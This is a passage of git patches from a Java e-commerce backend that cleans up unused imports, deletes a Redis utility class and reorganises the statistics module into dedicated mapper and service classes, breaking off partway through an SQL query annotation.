a/framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleVO.java b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleVO.java index c5040db4..28766e48 100644 --- a/framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleVO.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleVO.java @@ -1,7 +1,6 @@ package cn.lili.modules.order.aftersale.entity.vo; import cn.lili.modules.order.aftersale.entity.dos.AfterSale; -import jdk.nashorn.internal.objects.annotations.Getter; import lombok.Data; /** @@ -15,7 +14,6 @@ public class AfterSaleVO extends AfterSale { /** * 初始化自身状态 */ - @Getter public AfterSaleAllowOperation getAfterSaleAllowOperationVO() { //设置订单的可操作状态 From 4228ac4570831426dbd2a805aee16c8e269819b9 Mon Sep 17 00:00:00 2001 From: Chopper Date: Thu, 2 Dec 2021 19:49:26 +0800 Subject: [PATCH 033/145] =?UTF-8?q?es=E6=97=A0=E6=95=88=E5=BC=95=E7=94=A8?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cn/lili/controller/other/ElasticsearchController.java | 4 ---- 1 file changed, 4 deletions(-) diff --git a/manager-api/src/main/java/cn/lili/controller/other/ElasticsearchController.java b/manager-api/src/main/java/cn/lili/controller/other/ElasticsearchController.java index 453d1efd..a3da87d4 100644 --- a/manager-api/src/main/java/cn/lili/controller/other/ElasticsearchController.java +++ b/manager-api/src/main/java/cn/lili/controller/other/ElasticsearchController.java @@ -1,6 +1,5 @@ package cn.lili.controller.other; -import cn.lili.cache.Cache; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.search.service.EsGoodsIndexService; @@ -27,9 +26,6 @@ public class ElasticsearchController { @Autowired private EsGoodsIndexService esGoodsIndexService; - @Autowired - private Cache cache; - @GetMapping public ResultMessage init() { esGoodsIndexService.init(); From 5e4973fae57b0c201326cce93e26202eedd31b10 Mon Sep 17 00:00:00 2001 From: Chopper Date: Fri, 3 Dec 2021 10:25:08 +0800 Subject: [PATCH 034/145] =?UTF-8?q?=E5=8E=BB=E9=99=A4=E6=97=A0=E6=95=88?= =?UTF-8?q?=E7=9A=84=E5=B7=A5=E5=85=B7=E7=B1=BB?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../java/cn/lili/cache/util/RedisUtil.java | 250 ------------------ 1 file changed, 250 deletions(-) delete mode 100644 framework/src/main/java/cn/lili/cache/util/RedisUtil.java diff --git a/framework/src/main/java/cn/lili/cache/util/RedisUtil.java b/framework/src/main/java/cn/lili/cache/util/RedisUtil.java deleted file mode 100644 index 98516a63..00000000 --- a/framework/src/main/java/cn/lili/cache/util/RedisUtil.java +++ /dev/null @@ -1,250 +0,0 @@ -package cn.lili.cache.util; - -import lombok.extern.slf4j.Slf4j; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.data.redis.core.DefaultTypedTuple; -import org.springframework.data.redis.core.RedisTemplate; -import org.springframework.stereotype.Component; - -import java.util.List; -import java.util.Set; -import java.util.concurrent.TimeUnit; - -/** - * Redis封装工具类 - * - * @author paulG - * @since 2020/11/7 - **/ -@Slf4j -@Component -public class RedisUtil { - @Autowired - private RedisTemplate redisTemplate; - - //=============================common============================ - - /** - * 指定缓存失效时间 - * - * @param key 键 - * @param time 时间(秒) - * @return 操作结果 - */ - public boolean expire(String key, long time) { - try { - if (time > 0) { - redisTemplate.expire(key, time, TimeUnit.SECONDS); - } - return true; - } catch (Exception e) { - log.error("指定缓存失效时间错误",e); - return false; - } - } - - - //============================String============================= - - /** - * 普通缓存获取 - * - * @param key 键 - * @return 值 - */ - public Object get(String key) { - return key == null ? null : redisTemplate.opsForValue().get(key); - } - - - /** - * 普通缓存获取 - * - * @param key 键 - * @return 值 - */ - public T get(String key, Class clazz) { - Object o = key == null ? null : redisTemplate.opsForValue().get(key); - return (T) o; - } - - /** - * 普通缓存放入 - * - * @param key 键 - * @param value 值 - * @return true成功 false失败 - */ - public boolean set(String key, Object value) { - try { - redisTemplate.opsForValue().set(key, value); - return true; - } catch (Exception e) { - log.error("缓存放入错误",e); - return false; - } - - } - - /** - * 普通缓存放入并设置时间 - * - * @param key 键 - * @param value 值 - * @param time 时间(秒) time要大于0 如果time小于等于0 将设置无限期 - * @return true成功 false 失败 - */ - public boolean set(String key, Object value, long time) { - try { - if (time > 0) { - redisTemplate.opsForValue().set(key, value, time, TimeUnit.SECONDS); - } else { - set(key, value); - } - return true; - } catch (Exception e) { - log.error("普通缓存放入并设置时间错误",e); - return false; - } - } - - //================================Map================================= - - - /** - * 将数据放入set缓存 - * - * @param key 键 - * @param values 值 可以是多个 - * @return 成功个数 - */ - public long sSet(String key, Object... values) { - try { - return redisTemplate.opsForSet().add(key, values); - } catch (Exception e) { - log.error("将数据放入set缓存错误",e); - return 0; - } - } - - - /** - * 将list放入缓存 - * - * @param key 键 - * @param value 值 - * @return 操作结果 - */ - public boolean lSet(String key, Object value) { - try { - redisTemplate.opsForList().rightPush(key, value); - return true; - } catch (Exception e) { - log.error("将list放入缓存错误",e); - return false; - } - } - - /** - * 将list放入缓存 - * - * @param key 键 - * @param value 值 - * @param time 时间(秒) - * @return 操作结果 - */ - public boolean lSet(String key, Object value, long time) { - try { - redisTemplate.opsForList().rightPush(key, value); - if (time > 0) { - expire(key, time); - } - return true; - } catch (Exception e) { - log.error("将list放入缓存错误",e); - return false; - } - } - - /** - * 将list放入缓存 - * - * @param key 键 - * @param value 值 - * @return 操作结果 - */ - public boolean lSet(String key, List value) { - try { - redisTemplate.opsForList().rightPushAll(key, value); - return true; - } catch (Exception e) { - log.error("将list放入缓存错误",e); - return false; - } - } - - - /** - * 将list放入缓存 - * - * @param key 键 - * @param value 值 - * @param time 时间(秒) - * @return 操作结果 - */ - public boolean lSet(String key, List value, long time) { - try { - redisTemplate.opsForList().rightPushAll(key, value); - if (time > 0) { - expire(key, time); - } - return true; - } catch (Exception e) { - log.error("将list放入缓存错误",e); - return false; - } - } - - - //===============================ZSet================================= - - /** - * 向Zset里添加成员 - * - * @param key 键 - * @param score 分数 - * @param value 值 - * @return 操作结果 - */ - public boolean zadd(String key, long score, String value) { - return redisTemplate.opsForZSet().add(key, value, score); - - } - - - /** - * 获取 某key 下 某一分值区间的队列 - * - * @param key 键 - * @param from 起始位置 - * @param to 结束为止 - * @return 符合条件的结果集 - */ - public Set zrangeByScoreWithScores(String key, int from, long to) { - Set set = redisTemplate.opsForZSet().rangeByScoreWithScores(key, from, to); - return set; - } - - /** - * 移除 Zset队列值 - * - * @param key 键 - * @param value 值集合 - * @return 移除数量 - */ - public Long zremove(String key, String... value) { - return redisTemplate.opsForZSet().remove(key, value); - - } - -} From 9016090c67fff7e8ce9f606e1be865dbca3cecd9 Mon Sep 17 00:00:00 2001 From: yangkang Date: Fri, 3 Dec 2021 12:40:37 +0800 Subject: [PATCH 035/145] =?UTF-8?q?=E5=8E=BB=E6=8E=89=E6=97=A0=E7=94=A8?= =?UTF-8?q?=E7=9A=84=E5=AF=B9=E8=B1=A1=E5=92=8C=E5=BC=95=E7=94=A8=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cn/lili/modules/member/serviceimpl/MemberServiceImpl.java | 3 --- 1 file changed, 3 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java index 5960e1ce..3150b7db 100644 --- a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java @@ -21,7 +21,6 @@ import cn.lili.common.vo.PageVO; import cn.lili.modules.connect.config.ConnectAuthEnum; import cn.lili.modules.connect.entity.Connect; import cn.lili.modules.connect.entity.dto.ConnectAuthUser; -import cn.lili.modules.connect.entity.enums.ConnectEnum; import cn.lili.modules.connect.service.ConnectService; import cn.lili.common.utils.UuidUtils; import cn.lili.modules.member.aop.annotation.PointLogPoint; @@ -42,7 +41,6 @@ import cn.lili.common.sensitive.SensitiveWordsFilter; import cn.lili.mybatis.util.PageUtil; import cn.lili.rocketmq.RocketmqSendCallbackBuilder; import cn.lili.rocketmq.tags.MemberTagsEnum; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.baomidou.mybatisplus.core.conditions.update.UpdateWrapper; @@ -537,7 +535,6 @@ public class MemberServiceImpl extends ServiceImpl impleme throw new ServiceException(ResultCode.USER_OVERDUE_CONNECT_ERROR); } //检测是否已经绑定过用户 - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); Connect connect = connectService.queryConnect( ConnectQueryDTO.builder().unionType(connectType).unionId(connectAuthUser.getUuid()).build() ); From 70b12dfd3e0810865923252eca8117f0605dce4f Mon Sep 17 00:00:00 2001 From: Chopper Date: Fri, 3 Dec 2021 18:31:14 +0800 Subject: [PATCH 036/145] =?UTF-8?q?=E7=BB=9F=E8=AE=A1=E6=A8=A1=E5=9D=97?= =?UTF-8?q?=E9=9A=94=E7=A6=BB=E4=B8=9A=E5=8A=A1=EF=BC=8C=E9=87=8D=E6=9E=84?= =?UTF-8?q?=E7=BB=9F=E8=AE=A1=E6=A8=A1=E5=9D=97?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../statistics/MemberStatisticsExecute.java | 12 +- .../impl/view/PageViewStatisticsExecute.java | 6 +- .../service/DistributionCashService.java | 6 - .../DistributionCashServiceImpl.java | 7 -- .../modules/goods/service/GoodsService.java | 15 --- .../goods/serviceimpl/GoodsServiceImpl.java | 27 ----- .../service/MemberEvaluationService.java | 13 -- .../MemberEvaluationServiceImpl.java | 14 --- .../aftersale/service/AfterSaleService.java | 7 -- .../serviceimpl/AfterSaleServiceImpl.java | 11 -- .../mapper/AfterSaleStatisticsMapper.java | 15 +++ .../mapper/BillStatisticsMapper.java | 56 +++++++++ .../DistributionCashStatisticsMapper.java | 14 +++ .../mapper/GoodsStatisticsMapper.java | 24 ++++ .../MemberEvaluationStatisticsMapper.java | 64 ++++++++++ ...apper.java => MemberStatisticsMapper.java} | 2 +- .../OrderComplaintStatisticsMapper.java | 13 ++ ...Mapper.java => OrderStatisticsMapper.java} | 2 +- ...ataMapper.java => PlatformViewMapper.java} | 2 +- ....java => RefundOrderStatisticsMapper.java} | 2 +- .../mapper/SeckillStatisticsMapper.java | 14 +++ ...er.java => StoreFlowStatisticsMapper.java} | 16 ++- ...Mapper.java => StoreStatisticsMapper.java} | 13 +- .../service/AfterSaleStatisticsService.java | 24 ++++ .../service/BillStatisticsService.java | 30 +++++ .../DistributionCashStatisticsService.java | 25 ++++ .../service/GoodsStatisticsService.java | 37 ++++++ .../MemberEvaluationStatisticsService.java | 34 ++++++ ...vice.java => MemberStatisticsService.java} | 2 +- .../OrderComplaintStatisticsService.java | 20 ++++ ...rvice.java => OrderStatisticsService.java} | 2 +- ...aService.java => PlatformViewService.java} | 2 +- .../service/SeckillStatisticsService.java | 26 ++++ ...e.java => StoreFlowStatisticsService.java} | 17 ++- .../service/StoreStatisticsService.java | 37 ++++++ .../AfterSaleStatisticsServiceImpl.java | 38 ++++++ .../BillStatisticsServiceImpl.java | 69 +++++++++++ ...DistributionCashStatisticsServiceImpl.java | 57 +++++++++ .../GoodsStatisticsServiceImpl.java | 56 +++++++++ .../IndexStatisticsServiceImpl.java | 112 ++++++++---------- ...MemberEvaluationStatisticsServiceImpl.java | 78 ++++++++++++ ....java => MemberStatisticsServiceImpl.java} | 6 +- .../OrderComplaintStatisticsServiceImpl.java | 63 ++++++++++ ...l.java => OrderStatisticsServiceImpl.java} | 12 +- ...Impl.java => PlatformViewServiceImpl.java} | 10 +- .../RefundOrderStatisticsServiceImpl.java | 4 +- .../SeckillStatisticsServiceImpl.java | 37 ++++++ ...va => StoreFlowStatisticsServiceImpl.java} | 17 ++- .../StoreStatisticsServiceImpl.java | 46 +++++++ .../modules/store/service/BillService.java | 8 -- .../modules/store/service/StoreService.java | 20 ---- .../store/serviceimpl/BillServiceImpl.java | 9 -- .../store/serviceimpl/StoreServiceImpl.java | 23 ---- .../cn/lili/test/RedisLimiterHelperTest.java | 4 +- .../GoodsStatisticsManagerController.java | 10 +- .../MemberStatisticsManagerController.java | 6 +- .../OrderStatisticsManagerController.java | 8 +- .../ViewStatisticsManagerController.java | 12 +- .../GoodsStatisticsStoreController.java | 6 +- .../IndexStatisticsStoreController.java | 6 +- .../OrderStatisticsStoreController.java | 8 +- .../ViewStatisticsStoreController.java | 6 +- 62 files changed, 1037 insertions(+), 305 deletions(-) create mode 100644 framework/src/main/java/cn/lili/modules/statistics/mapper/AfterSaleStatisticsMapper.java create mode 100644 framework/src/main/java/cn/lili/modules/statistics/mapper/BillStatisticsMapper.java create mode 100644 framework/src/main/java/cn/lili/modules/statistics/mapper/DistributionCashStatisticsMapper.java create mode 100644 framework/src/main/java/cn/lili/modules/statistics/mapper/GoodsStatisticsMapper.java create mode 100644 framework/src/main/java/cn/lili/modules/statistics/mapper/MemberEvaluationStatisticsMapper.java rename framework/src/main/java/cn/lili/modules/statistics/mapper/{MemberStatisticsDataMapper.java => MemberStatisticsMapper.java} (89%) create mode 100644 framework/src/main/java/cn/lili/modules/statistics/mapper/OrderComplaintStatisticsMapper.java rename framework/src/main/java/cn/lili/modules/statistics/mapper/{OrderStatisticsDataMapper.java => OrderStatisticsMapper.java} (93%) rename framework/src/main/java/cn/lili/modules/statistics/mapper/{PlatformViewDataMapper.java => PlatformViewMapper.java} (90%) rename framework/src/main/java/cn/lili/modules/statistics/mapper/{RefundOrderStatisticsDataMapper.java => RefundOrderStatisticsMapper.java} (92%) create mode 100644 framework/src/main/java/cn/lili/modules/statistics/mapper/SeckillStatisticsMapper.java rename framework/src/main/java/cn/lili/modules/statistics/mapper/{GoodsStatisticsDataMapper.java => StoreFlowStatisticsMapper.java} (71%) rename framework/src/main/java/cn/lili/modules/statistics/mapper/{StoreStatisticsDataMapper.java => StoreStatisticsMapper.java} (55%) create mode 100644 framework/src/main/java/cn/lili/modules/statistics/service/AfterSaleStatisticsService.java create mode 100644 framework/src/main/java/cn/lili/modules/statistics/service/BillStatisticsService.java create mode 100644 framework/src/main/java/cn/lili/modules/statistics/service/DistributionCashStatisticsService.java create mode 100644 framework/src/main/java/cn/lili/modules/statistics/service/GoodsStatisticsService.java create mode 100644 framework/src/main/java/cn/lili/modules/statistics/service/MemberEvaluationStatisticsService.java rename framework/src/main/java/cn/lili/modules/statistics/service/{MemberStatisticsDataService.java => MemberStatisticsService.java} (93%) create mode 100644 framework/src/main/java/cn/lili/modules/statistics/service/OrderComplaintStatisticsService.java rename framework/src/main/java/cn/lili/modules/statistics/service/{OrderStatisticsDataService.java => OrderStatisticsService.java} (94%) rename framework/src/main/java/cn/lili/modules/statistics/service/{PlatformViewDataService.java => PlatformViewService.java} (93%) create mode 100644 framework/src/main/java/cn/lili/modules/statistics/service/SeckillStatisticsService.java rename framework/src/main/java/cn/lili/modules/statistics/service/{GoodsStatisticsDataService.java => StoreFlowStatisticsService.java} (61%) create mode 100644 framework/src/main/java/cn/lili/modules/statistics/service/StoreStatisticsService.java create mode 100644 framework/src/main/java/cn/lili/modules/statistics/serviceimpl/AfterSaleStatisticsServiceImpl.java create mode 100644 framework/src/main/java/cn/lili/modules/statistics/serviceimpl/BillStatisticsServiceImpl.java create mode 100644 framework/src/main/java/cn/lili/modules/statistics/serviceimpl/DistributionCashStatisticsServiceImpl.java create mode 100644 framework/src/main/java/cn/lili/modules/statistics/serviceimpl/GoodsStatisticsServiceImpl.java create mode 100644 framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberEvaluationStatisticsServiceImpl.java rename framework/src/main/java/cn/lili/modules/statistics/serviceimpl/{MemberStatisticsDataServiceImpl.java => MemberStatisticsServiceImpl.java} (91%) create mode 100644 framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderComplaintStatisticsServiceImpl.java rename framework/src/main/java/cn/lili/modules/statistics/serviceimpl/{OrderStatisticsDataServiceImpl.java => OrderStatisticsServiceImpl.java} (96%) rename framework/src/main/java/cn/lili/modules/statistics/serviceimpl/{PlatformViewDataServiceImpl.java => PlatformViewServiceImpl.java} (96%) create mode 100644 framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java rename framework/src/main/java/cn/lili/modules/statistics/serviceimpl/{GoodsStatisticsDataServiceImpl.java => StoreFlowStatisticsServiceImpl.java} (81%) create mode 100644 framework/src/main/java/cn/lili/modules/statistics/serviceimpl/StoreStatisticsServiceImpl.java diff --git a/consumer/src/main/java/cn/lili/timetask/handler/impl/statistics/MemberStatisticsExecute.java b/consumer/src/main/java/cn/lili/timetask/handler/impl/statistics/MemberStatisticsExecute.java index 63b43f2b..8e34ceca 100644 --- a/consumer/src/main/java/cn/lili/timetask/handler/impl/statistics/MemberStatisticsExecute.java +++ b/consumer/src/main/java/cn/lili/timetask/handler/impl/statistics/MemberStatisticsExecute.java @@ -1,7 +1,7 @@ package cn.lili.timetask.handler.impl.statistics; import cn.lili.modules.statistics.entity.dos.MemberStatisticsData; -import cn.lili.modules.statistics.service.MemberStatisticsDataService; +import cn.lili.modules.statistics.service.MemberStatisticsService; import cn.lili.timetask.handler.EveryDayExecute; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; @@ -24,7 +24,7 @@ public class MemberStatisticsExecute implements EveryDayExecute { * 会员统计 */ @Autowired - private MemberStatisticsDataService memberStatisticsDataService; + private MemberStatisticsService memberStatisticsService; @Override public void execute() { @@ -43,11 +43,11 @@ public class MemberStatisticsExecute implements EveryDayExecute { calendar.set(Calendar.DAY_OF_MONTH, calendar.get(Calendar.DAY_OF_MONTH) - 1); startTime = calendar.getTime(); MemberStatisticsData memberStatisticsData = new MemberStatisticsData(); - memberStatisticsData.setMemberCount(memberStatisticsDataService.memberCount(endTime)); + memberStatisticsData.setMemberCount(memberStatisticsService.memberCount(endTime)); memberStatisticsData.setCreateDate(startTime); - memberStatisticsData.setActiveQuantity(memberStatisticsDataService.activeQuantity(startTime)); - memberStatisticsData.setNewlyAdded(memberStatisticsDataService.newlyAdded(startTime, endTime)); - memberStatisticsDataService.save(memberStatisticsData); + memberStatisticsData.setActiveQuantity(memberStatisticsService.activeQuantity(startTime)); + memberStatisticsData.setNewlyAdded(memberStatisticsService.newlyAdded(startTime, endTime)); + memberStatisticsService.save(memberStatisticsData); } catch (Exception e) { log.error("每日会员统计功能异常:", e); } diff --git a/consumer/src/main/java/cn/lili/timetask/handler/impl/view/PageViewStatisticsExecute.java b/consumer/src/main/java/cn/lili/timetask/handler/impl/view/PageViewStatisticsExecute.java index 3821f8b6..0783517b 100644 --- a/consumer/src/main/java/cn/lili/timetask/handler/impl/view/PageViewStatisticsExecute.java +++ b/consumer/src/main/java/cn/lili/timetask/handler/impl/view/PageViewStatisticsExecute.java @@ -5,7 +5,7 @@ import cn.lili.cache.Cache; import cn.lili.cache.CachePrefix; import cn.lili.common.utils.BeanUtil; import cn.lili.modules.statistics.entity.dos.PlatformViewData; -import cn.lili.modules.statistics.service.PlatformViewDataService; +import cn.lili.modules.statistics.service.PlatformViewService; import cn.lili.timetask.handler.EveryDayExecute; import lombok.Data; import lombok.extern.slf4j.Slf4j; @@ -37,7 +37,7 @@ public class PageViewStatisticsExecute implements EveryDayExecute { * 平台PV统计 */ @Autowired - private PlatformViewDataService platformViewDataService; + private PlatformViewService platformViewService; @Override public void execute() { @@ -123,7 +123,7 @@ public class PageViewStatisticsExecute implements EveryDayExecute { @Transactional(rollbackFor = Exception.class) void batchSave(List pvKeys, List uvKeys, List platformViewData) { log.debug("批量保存流量数据,共计【{}】条", platformViewData.size()); - platformViewDataService.saveBatch(platformViewData); + platformViewService.saveBatch(platformViewData); //批量删除缓存key cache.multiDel(pvKeys); cache.multiDel(uvKeys); diff --git a/framework/src/main/java/cn/lili/modules/distribution/service/DistributionCashService.java b/framework/src/main/java/cn/lili/modules/distribution/service/DistributionCashService.java index b5e75c01..2a107b9f 100644 --- a/framework/src/main/java/cn/lili/modules/distribution/service/DistributionCashService.java +++ b/framework/src/main/java/cn/lili/modules/distribution/service/DistributionCashService.java @@ -49,10 +49,4 @@ public interface DistributionCashService extends IService { */ DistributionCash audit(@PathVariable String id, @RequestParam String result); - /** - * 待处理分销员提现申请数量 - * - * @return 待处理分销员提现申请数量 - */ - Integer newDistributionCash(); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionCashServiceImpl.java b/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionCashServiceImpl.java index 5cd142cc..79c056c6 100644 --- a/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionCashServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionCashServiceImpl.java @@ -157,11 +157,4 @@ public class DistributionCashServiceImpl extends ServiceImpl { */ boolean auditGoods(List goodsIds, GoodsAuthEnum goodsAuthEnum); - /** - * 获取所有的已上架的商品数量 - * - * @param goodsAuthEnum 商品审核枚举 - * @param goodsStatusEnum 商品状态枚举 - * @return 所有的已上架的商品数量 - */ - Integer goodsNum(GoodsStatusEnum goodsStatusEnum, GoodsAuthEnum goodsAuthEnum); - - /** - * 获取今天的已上架的商品数量 - * - * @return 今天的已上架的商品数量 - */ - Integer todayUpperNum(); /** * 更新商品上架状态状态 diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java index 8e34532d..265694ad 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java @@ -277,33 +277,6 @@ public class GoodsServiceImpl extends ServiceImpl implements return result; } - @Override - public Integer goodsNum(GoodsStatusEnum goodsStatusEnum, GoodsAuthEnum goodsAuthEnum) { - LambdaQueryWrapper queryWrapper = Wrappers.lambdaQuery(); - - queryWrapper.eq(Goods::getDeleteFlag, false); - - if (goodsStatusEnum != null) { - queryWrapper.eq(Goods::getMarketEnable, goodsStatusEnum.name()); - } - if (goodsAuthEnum != null) { - queryWrapper.eq(Goods::getIsAuth, goodsAuthEnum.name()); - } - AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); - queryWrapper.eq(CharSequenceUtil.equals(currentUser.getRole().name(), UserEnums.STORE.name()), - Goods::getStoreId, currentUser.getStoreId()); - - return this.count(queryWrapper); - } - - @Override - public Integer todayUpperNum() { - LambdaQueryWrapper queryWrapper = Wrappers.lambdaQuery(); - queryWrapper.eq(Goods::getMarketEnable, GoodsStatusEnum.UPPER.name()); - queryWrapper.ge(Goods::getCreateTime, DateUtil.beginOfDay(new DateTime())); - return this.count(queryWrapper); - } - @Override public Boolean updateGoodsMarketAble(List goodsIds, GoodsStatusEnum goodsStatusEnum, String underReason) { boolean result; diff --git a/framework/src/main/java/cn/lili/modules/member/service/MemberEvaluationService.java b/framework/src/main/java/cn/lili/modules/member/service/MemberEvaluationService.java index 7c5792df..44878063 100644 --- a/framework/src/main/java/cn/lili/modules/member/service/MemberEvaluationService.java +++ b/framework/src/main/java/cn/lili/modules/member/service/MemberEvaluationService.java @@ -88,18 +88,5 @@ public interface MemberEvaluationService extends IService { */ EvaluationNumberVO getEvaluationNumber(String goodsId); - /** - * 获取今天新增的评价数量 - * - * @return 今日评价数量 - */ - Integer todayMemberEvaluation(); - - /** - * 获取等待回复评价数量 - * - * @return 等待回复评价数量 - */ - Integer getWaitReplyNum(); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberEvaluationServiceImpl.java b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberEvaluationServiceImpl.java index 858bea4e..2fe138a8 100644 --- a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberEvaluationServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberEvaluationServiceImpl.java @@ -195,20 +195,6 @@ public class MemberEvaluationServiceImpl extends ServiceImpl().ge(MemberEvaluation::getCreateTime, DateUtil.beginOfDay(new DateTime()))); - } - - @Override - public Integer getWaitReplyNum() { - QueryWrapper queryWrapper = Wrappers.query(); - queryWrapper.eq(StringUtils.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.STORE.name()), - "store_id", UserContext.getCurrentUser().getStoreId()); - queryWrapper.eq("reply_status", false); - return this.count(queryWrapper); - } - /** * 检测会员评价 * diff --git a/framework/src/main/java/cn/lili/modules/order/aftersale/service/AfterSaleService.java b/framework/src/main/java/cn/lili/modules/order/aftersale/service/AfterSaleService.java index 5c4a87b4..79208722 100644 --- a/framework/src/main/java/cn/lili/modules/order/aftersale/service/AfterSaleService.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/service/AfterSaleService.java @@ -129,13 +129,6 @@ public interface AfterSaleService extends IService { */ AfterSale cancel(String afterSaleSn); - /** - * 获取待处理售后数量 - * - * @param serviceType 售后类型 - * @return 待处理售后数量 - */ - Integer applyNum(String serviceType); /** * 根据售后单号获取店铺退货收货地址信息 diff --git a/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java index 46bdc735..f89bb196 100644 --- a/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java @@ -367,17 +367,6 @@ public class AfterSaleServiceImpl extends ServiceImpl queryWrapper = Wrappers.lambdaQuery(); - queryWrapper.eq(AfterSale::getServiceStatus, AfterSaleStatusEnum.APPLY.name()); - queryWrapper.eq(CharSequenceUtil.isNotEmpty(serviceType), AfterSale::getServiceType, serviceType); - queryWrapper.eq(CharSequenceUtil.equals(authUser.getRole().name(), UserEnums.STORE.name()), - AfterSale::getStoreId, authUser.getStoreId()); - return this.count(queryWrapper); - } - @Override public StoreAfterSaleAddressDTO getStoreAfterSaleAddressDTO(String sn) { return storeDetailService.getStoreAfterSaleAddressDTO(OperationalJudgment.judgment(this.getBySn(sn)).getStoreId()); diff --git a/framework/src/main/java/cn/lili/modules/statistics/mapper/AfterSaleStatisticsMapper.java b/framework/src/main/java/cn/lili/modules/statistics/mapper/AfterSaleStatisticsMapper.java new file mode 100644 index 00000000..786f2abe --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/mapper/AfterSaleStatisticsMapper.java @@ -0,0 +1,15 @@ +package cn.lili.modules.statistics.mapper; + +import cn.lili.modules.goods.entity.dos.Goods; +import cn.lili.modules.order.aftersale.entity.dos.AfterSale; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; + +/** + * 售后统计数据处理层 + * + * @author Bulbasaur + * @since 2020/11/17 7:34 下午 + */ +public interface AfterSaleStatisticsMapper extends BaseMapper { + +} \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/mapper/BillStatisticsMapper.java b/framework/src/main/java/cn/lili/modules/statistics/mapper/BillStatisticsMapper.java new file mode 100644 index 00000000..6a1f2cc2 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/mapper/BillStatisticsMapper.java @@ -0,0 +1,56 @@ +package cn.lili.modules.statistics.mapper; + + +import cn.lili.modules.store.entity.dos.Bill; +import cn.lili.modules.store.entity.vos.BillListVO; +import com.baomidou.mybatisplus.core.conditions.Wrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.core.toolkit.Constants; +import org.apache.ibatis.annotations.Param; +import org.apache.ibatis.annotations.Select; + +/** + * 结算单数据处理层 + * + * @author Chopper + * @since 2020/11/17 4:27 下午 + */ +public interface BillStatisticsMapper extends BaseMapper { + + /** + * 查询结算单分页 + * + * @param page 分页 + * @param queryWrapper 查询条件 + * @return 结算单分页 + */ + @Select("select b.id,b.sn,b.start_time,b.end_time,b.bill_status,b.store_name,b.bill_price,b.create_time from li_bill as b ${ew.customSqlSegment}") + IPage queryBillPage(IPage page, @Param(Constants.WRAPPER) Wrapper queryWrapper); + + /** + * 查询订单结算 + * + * @param queryWrapper 查询条件 + * @return 结算单 + */ + @Select("SELECT SUM( final_price ) AS orderPrice,SUM( commission_price ) AS commissionPrice" + + ",SUM( distribution_rebate ) AS distributionCommission,SUM( site_coupon_commission ) AS siteCouponCommission" + + ",SUM( point_settlement_price ) AS pointSettlementPrice " + + ",SUM( kanjia_settlement_price ) AS kanjiaSettlementPrice " + + ",SUM( bill_price ) AS billPrice " + + "FROM li_store_flow ${ew.customSqlSegment}") + Bill getOrderBill(@Param(Constants.WRAPPER) QueryWrapper queryWrapper); + + /** + * 查询退款结算单 + * + * @param queryWrapper 查询条件 + * @return 结算单 + */ + @Select("SELECT SUM( final_price ) AS refundPrice,SUM( commission_price ) AS refundCommissionPrice" + + ",SUM( distribution_rebate ) AS distributionRefundCommission,SUM( site_coupon_commission ) AS siteCouponRefundCommission" + + ",SUM( bill_price ) AS billPrice FROM li_store_flow 